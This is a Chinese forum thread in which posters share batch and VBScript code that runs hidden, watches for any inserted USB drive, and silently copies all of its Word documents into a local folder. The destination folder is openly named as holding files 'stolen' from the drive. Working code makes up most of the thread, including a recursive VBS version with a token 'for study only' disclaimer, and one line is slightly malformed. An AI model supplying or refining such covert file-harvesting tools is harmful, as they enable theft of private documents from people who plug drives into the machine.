[系统相关] 批处理能否自动提取优盘上的word文档？

water0

1假设优盘的盘符是G
2优盘一旦插进去自动将里面的所有word文档复制到一个文件夹里面
3没有优盘插进去时什么也不做

water0

这个好难啊。
不过给你弄了两个东东，不知道有么有用。

Set shell = Wscript.createobject("wscript.shell")
a = shell.run ("自动复制u盘东东.bat",0)

上面这个东西用记事本保存为 .vbs 格式的，取个名字叫“隐藏运行.vbs”吧，它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。

@echo off
setlocal enabledelayedexpansion
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
  for /f %%h in ('fsutil fsinfo drivetype %%a:^|findstr "Removable.* 可移动"') do (
    set DriveU=%%h
)
)
echo.!DriveU!
md E:\u盘那偷来的
if exist !DriveU! copy !DriveU!\*.doc E:\u盘那偷来的>nul 2>nul
ping 127.1 -n 20 >nul
start 隐藏运行.vbs
exit

这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以，它会自动查找u盘并且每20十秒就会搜索一遍u盘，复制以后是存在E盘的u盘那偷来的文件夹里面。


这两个东西结合起来应该可以解决问题。不过有个缺陷，已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了，能的话告诉我一声哈。


这个是高手给的答案，但不能复制子文件夹里word文档，谁能够帮忙改一下

water0

运行一下不行啊............

water0

你确定上述代码可以吗，我在我电脑上怎么显示应用程序错误，不得不关机

water0

你试过吗，怎么在我的电脑上不行啊

water0

第二个代码后缀名是vbs时[attach]3304[/attach]
后缀名bat时没反应

water0

代码我改成这样

'//VBS复制U盘Doc文件 @CODE BY Broly
'//声明：此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行，产生不良后果均与本人无关！

Const DocPath="D:\DocPath\"1'此处为你放DOC文件的文件夹，运行前请创建好
Dim fso,Disks 
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      Udisk=Disk.DriveLetter & ":\"
      U=True
    End if
  Next
  If U=True Then
    CopyDocs(Udisk)
  Else
    Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyDocs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="doc" Then
      fso.CopyFile File.Path,DocPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyDocs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

water0

能否在不插优盘时只提醒一次

water0

[attach]3318[/attach]有时候会出现这样的情况，程序可以运行